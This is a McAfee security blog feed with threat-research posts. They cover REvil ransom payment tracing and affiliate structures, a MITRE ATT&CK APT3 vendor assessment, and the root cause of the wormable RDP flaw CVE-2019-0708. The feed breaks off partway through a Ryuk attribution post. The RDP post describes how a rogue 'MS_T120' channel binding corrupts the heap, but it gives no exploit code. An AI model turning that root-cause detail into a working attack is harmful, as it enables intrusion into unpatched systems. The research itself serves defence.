Christiaan Beek – McAfee Blogs https://securingtomorrow.mcafee.com Securing Tomorrow. Today. Mon, 14 Oct 2019 21:47:26 +0000 en-US hourly 1 https://securingtomorrow.mcafee.com/wp-content/uploads/2018/11/cropped-favicon-32x32.png Christiaan Beek – McAfee Blogs https://securingtomorrow.mcafee.com 32 32 McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – Follow The Money https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-follow-the-money/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-follow-the-money/#respond Mon, 14 Oct 2019 13:33:20 +0000 https://securingtomorrow.mcafee.com/?p=96913

Episode 3: Follow the Money This is the third installment of the McAfee Advanced Threat Research (ATR) analysis of Sodinokibi and its connections to GandCrab, the most prolific Ransomware-as-a-Service (RaaS) Campaign of 2018 and mid 2019. The Talking Heads once sang “We’re on a road to nowhere.” This expresses how challenging it can be when […]

The post McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – Follow The Money appeared first on McAfee Blogs.

]]>

Episode 3: Follow the Money

This is the third installment of the McAfee Advanced Threat Research (ATR) analysis of Sodinokibi and its connections to GandCrab, the most prolific Ransomware-as-a-Service (RaaS) Campaign of 2018 and mid 2019.

The Talking Heads once sang “We’re on a road to nowhere.” This expresses how challenging it can be when one investigates the financial trails behind a RaaS scheme with many affiliates, etc.

However, we persisted, and we prevailed. By linking underground forum posts with bitcoin transfer traces, we were able to uncover new information on the size of the campaign and associated revenue; even getting detailed insights into what the affiliates do with their earnings following a successful attack.

With the Sodinokibi ransomware a unique BTC wallet is generated for each victim. As long as no payment is made, no trace of the BTC wallet will be available on the blockchain. The blockchain operates as a public ledger of all bitcoin transactions that have happened. When no currencies are exchanged, no transactions are recorded. Although many victims hit the news, we understand that if they paid, sharing that with the research community is maybe a bridge too far. On one of the underground forums we discovered the following post:

In this post the actors are expanding their successful activity and offering a 60 percent cut as a start and, after three successful payments by the affiliate (read successful ransomware infections and payments received from the victims), the cut increases to 70 percent of the payments received. This is very common as we saw in the past with RaaS schemes like GandCrab and Cryptowall.

Responding to this post is an actor with the moniker of ‘Lalartu’ and his comments are quite interesting, hinting he was involved with GandCrab. As a site-note: “Lalartu’ means ‘ghost/phantom’. Its origins are from the Sumerian civilization where Lalartu was seen as a vampiric demon.

Researching the moniker of ‘Lalartu’ through our data, we went back in time a month or so and discovered a posting from the actor on June 4th of 2019, again referencing GandCrab.

We observe here a couple of transaction IDs (TXID) on the bitcoin ledger, however they are incomplete. More than a week later, on June 17th, 2019, “Lalartu” posted another one with an attachment to it:

 

In this posting we see a screenshot with partial TXIDs and the amounts. With the help of the Chainalysis software and team, we were able to retrieve the full TXIDs. With that list we were able to investigate the transactions and start mapping them out with their software:

From the various samples we have researched, the amounts asked for payment are between 0.44 and 0.45 BTC, an average of 4,000 USD.

In the above screenshot we see the transactions where some of these amounts are transferred from a wallet, or bitcoins are bought at an exchange and transferred to the wallets associated with the affiliate(s).

Based on the list shared by Lalartu in his post, and the average value of bitcoin around the dates, within 72 hours a value of 287,499.00 USD of ransom had been transferred.

Taking the list of transactions as a starting point in our graph-analysis, we colored the lines red and started from there to investigate the wallets involved and interesting transactions:

Although it might look like spaghetti, once you dive in, very interesting patterns can be discovered. We see victims paying to their assigned wallets; from there it takes an average of two to three transactions before it goes to an ‘affiliate’ or ‘distribution’ wallet. From that wallet we see the split happening as the moniker ‘UNKN’ mentioned in his forum post we started this article with. The 60 or 70 percent stays with the affiliate and the remaining 40/30 percent is forwarded in multiple transactions towards the actors behind Sodinokibi.

Once we identified a couple of these transactions, we started to dig in both directions. What is the affiliate doing with the money and where is the money going for the Sodinokibi actors?

We picked one promising affiliate wallet and started to dig deeper down and followed the transactions. As described above, the affiliate is getting money transferred mostly through an exchange (since this is being advised by the actors in the ransom note). This is what we see in the example below. Incoming ransomware payments via Coinbase.com are received. The affiliate seems to pay some fee to a service but also sends BTC into Bitmix.biz a popular underground bitcoin mixer that is obfuscating the next transactions to make it difficult to link the transactions back to the ‘final’ wallet or cash-out in a (crypto) currency.

We also observed examples where the affiliates were paying for services, they bought on Hydra Market. Hydra Market is a Russian underground marketplace where many services and illegal products are offered with payment in BTC.

Tracing down the route of splits, we started to search for the 30 or 40 percent cuts of the ransom payments of 0.27359811 BTC or, if the price was doubled, 0.54719622 BTC.

Using the list of amounts and querying the transactions and transfers discovered, we observed a wallet that was receiving a lot of these smaller payments. Due to ongoing research we will not publish the wallet but here is a graph representation of a subset of transactions:

It seems like a spider, but many incoming ‘split’ transfers, and only a few outgoing ones with larger amounts of bitcoins, were observed.

If we take the average of $2,500 – $5,000 USD as a ransom ask, and the mentioned split of 30/40 percent for the actor maintaining the Sodinokibi ransomware and affiliate infrastructure, they make $700 – $1,500 USD per paid infection.

We already saw in the beginning of this article that the affiliate Lalartu claimed to have made 287k USD in 72 hours, which is an 86k USD profit for the actor from one affiliate only.

In episode 2, The All-Stars, we explained how the structure is setup and how each affiliate has its own id.

As far as we tracked the samples and extracted the amount of id-numbers, we counted over 41 affiliates being active. The data showed a in a relatively short amount of time the velocity and number of infections was high. Taken this velocity combined with a few payments per day, we can imagine that the actors behind Sodinokibi are making a fortune.

Following the traces of one particular affiliate, we ended up seeing large amounts of bitcoins being transferred into a wallet which had a total value of 443 BTC, around 4,5 million USD with the average bitcoin price.

We do understand that there are situations in which executives decide to pay the ransom but, by doing that, we keep this business model alive and also fund other criminal markets.

Conclusion

In this blog we focused on insights into the financial streams behind ransomware. By linking underground forum posts with bitcoin transfer traces, we were able to uncover new information on the size of the campaign and associated revenue. In some cases, we were able even to get detailed insights into what the affiliates do with their earnings following a “successful” attack. It shows that paying ransomware is not only keeping the ‘ransom-model’ alive but is also supporting other forms of crime.

In the next and final episode, “Crescendo” McAfee ATR reveals insights gleaned from a global network of honey pots.

The post McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – Follow The Money appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-follow-the-money/feed/ 0
MITRE ATT&CK™ APT3 Assessment https://securingtomorrow.mcafee.com/business/endpoint-security/mitre-attck-apt3-assessment/ https://securingtomorrow.mcafee.com/business/endpoint-security/mitre-attck-apt3-assessment/#respond Wed, 02 Oct 2019 17:32:16 +0000 https://securingtomorrow.mcafee.com/?p=96985

Making a case for the importance for real-time reporting is a simple exercise when considering almost every major campaign.  Take the case of Shamoon, where analysis into the Disttrack wiper revealed a date in the future when destruction would happen.  Similarly, cases where actors use different techniques in their attacks reveal that once mapped out, a story becomes visible. The question […]

The post MITRE ATT&CK™ APT3 Assessment appeared first on McAfee Blogs.

]]>

Making a case for the importance for real-time reporting is a simple exercise when considering almost every major campaign.  Take the case of Shamoon, where analysis into the Disttrack wiper revealed a date in the future when destruction would happen.  Similarly, cases where actors use different techniques in their attacks reveal that once mapped out, a story becomes visible. The question is, do you have visibility and early warnings into these threats and how timely are they presented to you so there’s time to respond? 

MITRE’s ATT&CK for Enterpriseproduced by the Cyber Security division of MITRE, is an adversarial behavior model for possible attacker actionsThe ATT&CK matrix used is a visualization tool in the form of a large table, intended to help provide a framework to talk about attacks in a unified way. This is coupled to detailed descriptions of different tactics and techniques and how they differ from attacker to attacker.  

When you participate in the assessment, MITRE is the red team simulating the techniques, used by APT3 in this case, and we as McAfee are the blue team using our products to detect their actions and report them. When the red team attacks us with a variant of a technique, as a blue team, we need to prove we detected it. 

McAfee went through a MITRE ATT&CK assessment early this summer and we are excited to announce that MITRE has published the results of the APT3 assessment today on their website. In today’s cyber-threat landscape, it’s all about ‘time’, time to detect, time to respond, time to remediate, etc. When it comes to advanced attacks represented in APT3 – real time detections offer a significant advantage to incident responders to rapidly contain threats. 

As the results show, McAfee provided the most real-time alerts while detecting the attacksWhen real-time alerts and simple efficacy score, as calculated using criteria published by Josh Zelonis of Forrester, are considered together, McAfee occupies a leadership position in the upper right quadrant of the chart: 

 

 

During MITRE’s APT3 evaluation, McAfee was the only vendor to display real-time alerts for certain attacks, including T1088: Bypass User Account Control, one of the techniques used by Shamoon. 

While MITRE’s evaluation focused on MVISION EDR’s detection capabilities, there are several aspects that defenders need to consider in order to properly triage, scope, contain and close an incidentDuring the APT3 attack we generated 200+ alerts and telemetry datapoints which were the core of MITRE’s evaluationYet we don’t expect analysts to review them individually. In MVISION EDR those 200+ data points got clustered into 14 threats which added context to paint a more complete picture of what happened in order to speed triage. 

Furthermore, analysts could trigger an automated investigation from a threat and therefore involve our AI driven investigation guides to bring more context from other products (e.g. ePO, SIEM)endpoint forensics, analytics and threat intelligence.  

 

Investigation case collecting 4000+ pieces of evidence, linking it, showing expert findings and uncovering potential lateral movement between two devices 

 Thanks to our automated investigation guides, in the case of APT3MVISION EDR was able to gather passive DNS information and link the evidence to further expose potential lateral movement and C2. 

Although it was not exercised by MITRE, the next step for the analyst would have been to use MVISION EDR’s real time search to further scope the affected devices and take containment actions (e.g. quarantine, kill processes, etc). 

McAfee has been engaged with MITRE in expanding the ATT&CK Matrix and helping to evolve future ATT&CK Evaluations. We are a proud sponsor of ATT&CKcon and will be exhibiting at ATT&CKcon 2.0 later this month. Come learn more about how automated AI-driven investigations can reduce the time to detect and respond to threats using McAfee MVISION EDR. 

 

 

The post MITRE ATT&CK™ APT3 Assessment appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/endpoint-security/mitre-attck-apt3-assessment/feed/ 0
McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – The All-Stars https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-the-all-stars/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-the-all-stars/#respond Wed, 02 Oct 2019 16:05:54 +0000 https://securingtomorrow.mcafee.com/?p=96897

Episode 2: The All-Stars Analyzing Affiliate Structures in Ransomware-as-a-Service Campaigns This is the second installment of the McAfee Advanced Threat Research (ATR) analysis of Sodinokibi and its connections to GandGrab, the most prolific Ransomware-as-a-Service (RaaS) Campaign of 2018 and mid-2019. GandCrab announced its retirement at the end of May. Since then, a new RaaS family […]

The post McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – The All-Stars appeared first on McAfee Blogs.

]]>

Episode 2: The All-Stars

Analyzing Affiliate Structures in Ransomware-as-a-Service Campaigns

This is the second installment of the McAfee Advanced Threat Research (ATR) analysis of Sodinokibi and its connections to GandGrab, the most prolific Ransomware-as-a-Service (RaaS) Campaign of 2018 and mid-2019.

GandCrab announced its retirement at the end of May. Since then, a new RaaS family called Sodinokibi, aka REvil, took its place as one of the most prolific ransomware campaigns.

In episode one of our analysis on the Sodinokibi RaaS campaign we shared our extensive malware and post-infection analysis, which included code comparisons to GandCrab, and insight on exactly how massive the new Sodinokibi campaign is.

The Sodinokibi campaigns are still ongoing and differ in execution due to the different affiliates spreading the ransomware. Which begs more questions to be answered, such as how do the affiliates operate? Is the affiliate model working? What can we learn about the campaign and possible connections to GandCrab by investigating the affiliates?

It turns out, through large scale sample analysis and hardcoded value aggregation, we were able to determine which affiliates played a crucial role in the success of GandCrab’ criminal enterprise and found a lot of similarity between the RaaS enterprise of GandCrab and that of Sodinokibi.

Before we begin with the Sodinokibi analysis and comparison we will briefly explain the methodology that we used for GandCrab.

GandCrab RaaS System

GandCrab was a prime example of a Ransomware-as-a-Service. RaaS follows a structure where the developers are offering their product to affiliates, partners or advertisers who are responsible for spreading the ransomware and generating infections. The developers take a percentage of the earned income and provide the other portion to the affiliates.

FIGURE 1. HIGH LEVEL OVERVIEW OF THE GANDCRAB RAAS MODEL

Operating a RaaS model can be lucrative for both parties involved:

  • Developer’s perspective: The malware author/s request a percentage per payment for use of the ransomware product. This way the developers have less risk than the affiliates spreading the malware. The developers can set certain targets for their affiliates regarding the amount of infections they need to produce. In a way, this is very similar to a modern sales organization in the corporate world.

Subsequently, a RaaS model offers malware authors a safe haven when they operate from a country that does not regard developing malware as a crime. If their own nation’s citizens are not victimized, the developers are not going to be prosecuted.

  • Affiliate perspective: As an affiliate you do not have to write the ransomware code yourself; less technical skill is involved. RaaS makes ransomware more accessible to a greater number of users. An affiliate just needs to be accepted in the criminal network and reach the targets set by the developers. As a service model it also offers a level of decentralization where each party sticks to their own area of expertise.

Getting a Piece of the Pie

Affiliates want to get paid proportionate to the infections they made; they expose themselves to a large amount of risk by spreading ransomware and they want to reap the benefits. Mutual trust between the developer and the affiliate plays a huge role in joining a RaaS system. It is very much like the expression: “Trust, hard to build, and easy to lose” and this largely explains the general skepticism that cybercriminal forum members display when a new RaaS system is announced.

For the RaaS service to grow and maintain their trust, proper administration of infections/earnings per affiliate plays an important part. Through this, the developers can ensure that everyone gets an honest piece of the proverbial “pie”. So how can this administration be achieved? One way is having hardcoded values in the ransomware.

Linking the Ransomware to Affiliates

Through our technical malware analysis, we established that, starting from version 4, GandCrab included certain hardcoded values in the ransomware source code:

  • id – The affiliate id number.
  • sub_id – The Sub ID of the affiliate ID; A tracking number for the affiliate for sub-renting infections or it tracks their own campaign, identifiable via the sub_id number.
  • version – The internal version number of the malware.

Version 4 had significant changes overall and we believe that these changes were partly done by the authors to improve administration and make GandCrab more scalable to cope with its increased popularity.

Based on the hardcoded values it was possible for us, to a certain extent, to extract the administration information and create our own overview. We hunted for as many different GandCrab samples as we could find, using Yara rules, industry contacts and customer submissions. The sample list we gathered is quite extensive but not exhaustive. From the collected samples we extracted the hardcoded values and compile times automatically, using a custom build tool. We aggregated all these values together in one giant timeline from GandCrab version 4, all the way up to version 5.2.

FIGURE 2. SMALL PORTION OF THE TIMELINE OF COLLECTED SAMPLES (NOTE THE FIRST FOUR POSSIBLY TIME STOMPED)

ID and SUB_ID Characteristics Observed

Parent-Child Relationship
The extracted ID’s and Sub_IDs showed a parent-child relationship, meaning every ID could have more than one SUB_ID (child) but every SUB_ID only had one ID (parent).

FIGURE 3. THE ACTIVITY OF ID NUMBER 41 (PARENT) AND ITS CORRESPONDING SUB_IDs (CHILDREN)

ID Increments
Overall, we observed a gradual increment in the ID number over time. The earlier versions generally had lower ID numbers and higher ID numbers appeared with the later versions.

However, there were relatively lower ID numbers that appeared in many versions, as shown in figure 3.

This observation aligned with our theory that the ID number corresponds with a particular affiliate. Certain affiliates remained partners for a long period of time, spreading different versions of GandCrab; this explains the ID number appearing over a longer period and in different versions. This theory has also been acknowledged by several (anonymous) sources.

Determining Top ID’s/Affiliates
When we applied the theory that the ID corresponded with an affiliate, we observed different activity amongst the affiliates. There are some affiliates/ID’s that were only linked to a single sample that we found. A reason for affiliates to only appear for a short moment can be explained by the failure to perform. The GandCrab developers had a strict policy of expelling affiliates that underperformed. Expelling an affiliate would open a new slot that would receive a new incremented ID number.

On the other hand, we observed several very active affiliates, “The All-Stars”, of which ID number 99 was by far the most active. We first observed ID 99 in six different samples of version 4.1.1, growing to 35 different samples in version 5.04. Based on our dataset we observed 71 unique unpacked samples linked to ID 99.

Being involved with several versions (consistency over time), in combination with the number of unique samples (volume) and the number of infections (based on industry malware detections) can effectively show which affiliate was the most aggressive and possibly the most important to the RaaS network.

Affiliate vs. Salesperson & Disruption

An active affiliate can be compared to a top salesperson in any normal commercial organization. Given that the income of the RaaS network is largely dependent on the performance of its top affiliates, identifying and disrupting a top affiliate’s activity can have a crippling effect on the income of the RaaS network, internal morale and overall RaaS performance. This can be achieved through arrests of an affiliate and/or co-conspirers.

Another way is disrupting the business model and lowering the ransomware’s profits through offering free decryption tools or building vaccines that prevent encryption. The disruption will increase the operational costs for the criminals, making the RaaS of less interest.

Lastly, for any future proceedings (suspect apprehension and legal) it is important to maintain a chain of custody linking victims, samples and affiliates together. Security providers as gatherers and owners of this data play a huge role in safeguarding this for the future.

Overview Versions and ID Numbers

Using an online tool from RAWGraphs we created a graphic display of the entire dataset showing the relationship between the versions and the ID numbers. Below is an overview, a more detailed overview can be found on the McAfee ATR Github.

FIGURE 4. OVERVIEW OF GANDCRAB VERSIONS AND IDs

Top performing affiliates immediately stood out from the rest as the lines were thicker and more spread out. According to our data, the most active ID numbers were 15,41,99 and 170. Determining the key players in a RaaS family can help Law Enforcement prioritize its valuable resources.

Where are the All-Stars? Top Affiliates Missing in 5.2

At the time we were not realizing it fully but, looking back at the overview, it stands out that none of the top affiliates/ID numbers where present in the final version 5.2 of GandCrab which was released in February. We believe that this was an early indicator that the end of GandCrab was imminent.

This discovery might indicate that some kind of event had taken place that resulted in the most active affiliates not being present. The cause could have been internal or external.

But what puzzles us is why would a high performing affiliate leave? Maybe we will never hear the exact reason. Perhaps it is quite similar to why people leave regular jobs… feeling unhappy, a dispute or leaving for a better offer.

With the absence of the top affiliates the question remains; Where did these affiliates go to?

FIGURE 5. ID AND SUB_ID NUMBER LINKED TO VERSION 5.2

Please note that active ID numbers 15,41,99 and170 from the complete overview are not present in any GandCrab version 5.2 infections. The most active affiliate in version 5.2. was nr 287.

Goodbye GandCrab, Hello Sodinokibi/REvil

In our opening episode we described the technical similarities we have seen between GandCrab and REvil. We are not the only ones that noticed these similarities – security reporter Brian Krebs published an article where he highlights the similarities between GandCrab and a new ransomware named Sodinokibi or REvil, and certain postings that were made on several underground forums.

Affiliates Switching RaaS Families….

On two popular underground Forums a user named UNKN, aka unknown, placed an advertisement on the 4th of July 2019, for a private ransomware as a service (RaaS) he had been running for some time. Below is a screenshot of the posting. Interesting is the response from a user with the nickname Lalartu. In a reply to the advertisement, Lalartu mentions that he is working with UNKN and his team, as well as that they had been a former GandCrab affiliate, something that was noticed by Bleepingcomputer too. Lalartu’s post supports our earlier observations that some top GandCrab affiliates suddenly disappeared and might have moved to a different RaaS family. This is something that was suspected but never confirmed with technical evidence.

We suspect that Lalartu is not the only GandCrab affiliate that has moved to Sodinokibi. If top affiliates have a solid and very profitable infection method available, then it does not make sense to retire with the developers.

Around February 2019, there was a noticeable change in some of GandCrab’s infections behavior. Managed Service Providers (MSP) were now targeted through vulnerable systems and their customers got infected with GandCrab on a large scale, something we had not seen performed before by any of the affiliates. Interestingly, shortly after the retirement of GandCrab, the MSP modus operandi was quickly adopted by Sodinokibi, another indication that a former GandCrab affiliate had moved to Sodinokibi.

This makes us suspect that Sodinokibi is actively recruiting the top performing affiliates from other successful RaaS families, creating a sort of all-star team.

At the same time, the RaaS market is such where less proficient affiliates can hone their skills, improve their spreading capabilities and pivot to the more successful RaaS families. Combined with a climate where relatively few ransomware arrests are taking place, it allows for an alarming cybercriminal career path with dire consequences.

Gathering “administration” from Sodinokibi/Revil Samples

Another similarity Sodinokibi shares with GandCrab is the administration of infections, one of the indicators of a RaaS’s growth potential. In our earlier blog we discussed that Sodinokibi generates a JSON config file for each sample containing certain values such as a PID number and a value labeled sub. So, we decided to use our GandCrab affiliate methodology on the Sodinokibi config files we were able to collect.

With GandCrab we had to write our own tool to pull the hardcoded indicators but, with Sodinokibi, we were lucky enough that Carbon Black had developed a tool that did much of the heavy lifting for us. In the end there were still some samples from which we had to pull the configs manually. The JSON file contains different values and fields; for a comparison to GandCrab we focused on the PID and SUB field of each sample as these values appeared to have a similar characteristic as the ID and SUB_ID field in the GandCrab samples.

FIGURE 6. REVIL JSON CONFIG VALUES

Interpreting the Data Structures

With the data we gathered, we used the same analysis methodology on Sodinokibi  as we did on GandCrab. We discovered that Sodinokibi has a RaaS structure very similar to GandCrab and with the Parent-Child relationship structure being nearly identical. Below we compared activity of GandCrab affiliate number 99 with the activity of the Sodinokibi affiliate number 19.

FIGURE 7. THE ACTIVITY OF GANDCRAB ID NO 99 (PARENT) AND ITS CORRESPONDING SUB (CHILDREN)

FIGURE 8. THE ACTIVITY OF SODINOKIBI PID NO 19 (PARENT) AND ITS CORRESPONDING SUB (CHILDREN)

It needs to be said that the timespan for the GandCrab overview was generated over a long period of time with a larger total of samples than the Sodinokibi overview.

Nevertheless, the similarity is quit striking.

The activity of both ID numbers displays a tree-shaped structure with the parent ID number at the root and branching out to the respective SUB numbers linked to multiple samples.

We believe that the activity above might be linked to a tiered affiliate group that is specialized in RDP brute forcing and infecting systems with Sodinokibi after each successful compromise.

Both RaaS family structures are too large to effectively publish within the space of this blog. Our Complete overview for the Sodinokibi RaaS structure can be found on our McAfee GitHub.

Conclusion

When we started our journey with GandCrab we did not expect it would take us so far down the rabbit hole. Mass sample analysis and searching for administration indicators provided a way to get more insight in a multi-million-dollar criminal enterprise, determine key players and foresee future events through changes in the business structure. We believe that the retirement of GandCrab was not an overnight decision and, based on the data on the affiliates, it was clear that something was going to happen.

With the emergence of Sodinokibi and the few forum postings by a high profile former GandCrab affiliate, everything fell into place. We have strong indications that some of the top affiliates have found a new home with Sodinokibi to further their criminal business.

Given that the income of the RaaS network is largely dependent on the performance of its top affiliates, and it is run like a normal business, we (the security industry) should not only research the products the criminals develop, but also identify possible ways to successfully disrupt the criminal business.

In our next episode we dive deeper into the financial streams involved in the affiliate program and provide an estimate of how much money these actors are earning with the ransomware-as-a-service business model.

The post McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – The All-Stars appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-the-all-stars/feed/ 0
RDP Stands for “Really DO Patch!” – Understanding the Wormable RDP Vulnerability CVE-2019-0708 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/#respond Tue, 21 May 2019 21:09:35 +0000 https://securingtomorrow.mcafee.com/?p=95306

During Microsoft’s May Patch Tuesday cycle, a security advisory was released for a vulnerability in the Remote Desktop Protocol (RDP). What was unique in this particular patch cycle was that Microsoft produced a fix for Windows XP and several other operating systems, which have not been supported for security updates in years. So why the […]

The post RDP Stands for “Really DO Patch!” – Understanding the Wormable RDP Vulnerability CVE-2019-0708 appeared first on McAfee Blogs.

]]>

During Microsoft’s May Patch Tuesday cycle, a security advisory was released for a vulnerability in the Remote Desktop Protocol (RDP). What was unique in this particular patch cycle was that Microsoft produced a fix for Windows XP and several other operating systems, which have not been supported for security updates in years. So why the urgency and what made Microsoft decide that this was a high risk and critical patch?

According to the advisory, the issue discovered was serious enough that it led to Remote Code Execution and was wormable, meaning it could spread automatically on unprotected systems. The bulletin referenced well-known network worm “WannaCry” which was heavily exploited just a couple of months after Microsoft released MS17-010 as a patch for the related vulnerability in March 2017. McAfee Advanced Threat Research has been analyzing this latest bug to help prevent a similar scenario and we are urging those with unpatched and affected systems to apply the patch for CVE-2019-0708 as soon as possible. It is extremely likely malicious actors have weaponized this bug and exploitation attempts will likely be observed in the wild in the very near future.

Vulnerable Operating Systems:

  • Windows 2003
  • Windows XP
  • Windows 7
  • Windows Server 2008
  • Windows Server 2008 R2

Worms are viruses which primarily replicate on networks. A worm will typically execute itself automatically on a remote machine without any extra help from a user. If a virus’ primary attack vector is via the network, then it should be classified as a worm.

The Remote Desktop Protocol (RDP) enables connection between a client and endpoint, defining the data communicated between them in virtual channels. Virtual channels are bidirectional data pipes which enable the extension of RDP. Windows Server 2000 defined 32 Static Virtual Channels (SVCs) with RDP 5.1, but due to limitations on the number of channels further defined Dynamic Virtual Channels (DVCs), which are contained within a dedicated SVC. SVCs are created at the start of a session and remain until session termination, unlike DVCs which are created and torn down on demand.

It’s this 32 SVC binding which CVE-2019-0708 patch fixes within the _IcaBindVirtualChannels and _IcaRebindVirtualChannels functions in the RDP driver termdd.sys. As can been seen in figure 1, the RDP Connection Sequence connections are initiated and channels setup prior to Security Commencement, which enables CVE-2019-0708 to be wormable since it can self-propagate over the network once it discovers open port 3389.

 

Figure 1: RDP Protocol Sequence

The vulnerability is due to the “MS_T120” SVC name being bound as a reference channel to the number 31 during the GCC Conference Initialization sequence of the RDP protocol. This channel name is used internally by Microsoft and there are no apparent legitimate use cases for a client to request connection over an SVC named “MS_T120.”

Figure 2 shows legitimate channel requests during the GCC Conference Initialization sequence with no MS_T120 channel.

Figure 2: Standard GCC Conference Initialization Sequence

However, during GCC Conference Initialization, the Client supplies the channel name which is not whitelisted by the server, meaning an attacker can setup another SVC named “MS_T120” on a channel other than 31. It’s the use of MS_T120 in a channel other than 31 that leads to heap memory corruption and remote code execution (RCE).

Figure 3 shows an abnormal channel request during the GCC Conference Initialization sequence with “MS_T120” channel on channel number 4.

 

Figure 3: Abnormal/Suspicious GCC Conference Initialization Sequence – MS_T120 on nonstandard channel

The components involved in the MS_T120 channel management are highlighted in figure 4. The MS_T120 reference channel is created in the rdpwsx.dll and the heap pool allocated in rdpwp.sys. The heap corruption happens in termdd.sys when the MS_T120 reference channel is processed within the context of a channel index other than 31.

Figure 4: Windows Kernel and User Components

The Microsoft patch as shown in figure 5 now adds a check for a client connection request using channel name “MS_T120” and ensures it binds to channel 31 only (1Fh) in the _IcaBindVirtualChannels and _IcaRebindVirtualChannels functions within termdd.sys.

 

Figure 5: Microsoft Patch Adding Channel Binding Check

After we investigated the patch being applied for both Windows 2003 and XP and understood how the RDP protocol was parsed before and after patch, we decided to test and create a Proof-of-Concept (PoC) that would use the vulnerability and remotely execute code on a victim’s machine to launch the calculator application, a well-known litmus test for remote code execution.

Figure 6: Screenshot of our PoC executing

For our setup, RDP was running on the machine and we confirmed we had the unpatched versions running on the test setup. The result of our exploit can be viewed in the following video:

There is a gray area to responsible disclosure. With our investigation we can confirm that the exploit is working and that it is possible to remotely execute code on a vulnerable system without authentication. Network Level Authentication should be effective to stop this exploit if enabled; however, if an attacker has credentials, they will bypass this step.

As a patch is available, we decided not to provide earlier in-depth detail about the exploit or publicly release a proof of concept. That would, in our opinion, not be responsible and may further the interests of malicious adversaries.

Recommendations:

  • We can confirm that a patched system will stop the exploit and highly recommend patching as soon as possible.
  • Disable RDP from outside of your network and limit it internally; disable entirely if not needed. The exploit is not successful when RDP is disabled.
  • Client requests with “MS_T120” on any channel other than 31 during GCC Conference Initialization sequence of the RDP protocol should be blocked unless there is evidence for legitimate use case.

 

It is important to note as well that the RDP default port can be changed in a registry field, and after a reboot will be tied the newly specified port. From a detection standpoint this is highly relevant.

Figure 7: RDP default port can be modified in the registry

Malware or administrators inside of a corporation can change this with admin rights (or with a program that bypasses UAC) and write this new port in the registry; if the system is not patched the vulnerability will still be exploitable over the unique port.

McAfee Customers:

McAfee NSP customers are protected via the following signature released on 5/21/2019:

0x47900c00 “RDP: Microsoft Remote Desktop MS_T120 Channel Bind Attempt”

If you have any questions, please contact McAfee Technical Support.

 

The post RDP Stands for “Really DO Patch!” – Understanding the Wormable RDP Vulnerability CVE-2019-0708 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/feed/ 0
Ryuk Ransomware Attack: Rush to Attribution Misses the Point https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/#respond Wed, 09 Jan 2019 19:00:14 +0000 https://securingtomorrow.mcafee.com/?p=93619

Senior analyst Ryan Sherstobitoff contributed to this report. During the past week, an outbreak of Ryuk ransomware that impeded newspaper printing services in the United States has garnered a lot of attention. To determine who was behind the attack many have cited past research that compares code from Ryuk with the older ransomware Hermes to […]

The post Ryuk Ransomware Attack: Rush to Attribution Misses the Point appeared first on McAfee Blogs.

]]>

Senior analyst Ryan Sherstobitoff contributed to this report.

During the past week, an outbreak of Ryuk ransomware that impeded newspaper printing services in the United States has garnered a lot of attention. To determine who was behind the attack many have cited past research that compares code from Ryuk with the older ransomware Hermes to link the attack to North Korea. Determining attribution was largely based on the fact that the Hermes ransomware has been used in the past by North Korean actors, and code blocks in Ryuk are similar to those in Hermes.

The McAfee Advanced Threat Research team has investigated this incident and determined how the malware works, how the attackers operate, and how to detect it. Based on the technical indicators, known cybercriminal characteristics, and evidence discovered on the dark web, our hypothesis is that the Ryuk attacks may not necessarily be backed by a nation-state, but rather share the hallmarks of a cybercrime operation.

How McAfee approaches attribution

Attribution is a critical part of any cybercrime investigation. However, technical evidence is often not enough to positively identify who is behind an attack because it does not provide all the pieces of the puzzle. Artifacts do not all appear at once; a new piece of evidence unearthed years after an attack can shine a different light on an investigation and introduce new challenges to current assumptions.

Ryuk attack: putting the pieces together

In October 2017, we investigated an attack on a Taiwanese bank. We discovered the actors used a clever tactic to distract the IT staff: a ransomware outbreak timed for the same moment that the thieves were stealing money. We used the term pseudo-ransomware to describe this attack. The malware was Hermes version 2.1.

One of the functions we often see in ransomware samples is that they will not execute if the victim’s system language is one of the following:

  • 419 (Russian)
  • 422 (Ukrainian)
  • 423 (Belarusian)

That was October 2017. Searching earlier events, we noticed a posting from August 2017 in an underground forum in which a Russian-speaking actor offered the malware kit Hermes 2.1 ransomware:

What if the actor who attacked the Taiwanese bank simply bought a copy of Hermes and added it to the campaign to cause the distraction? Why go to the trouble to build something, when the actor can just buy the perfect distraction in an underground forum?

In the same underground forum thread we found a post from October 22, 2018, mentioning Ryuk.

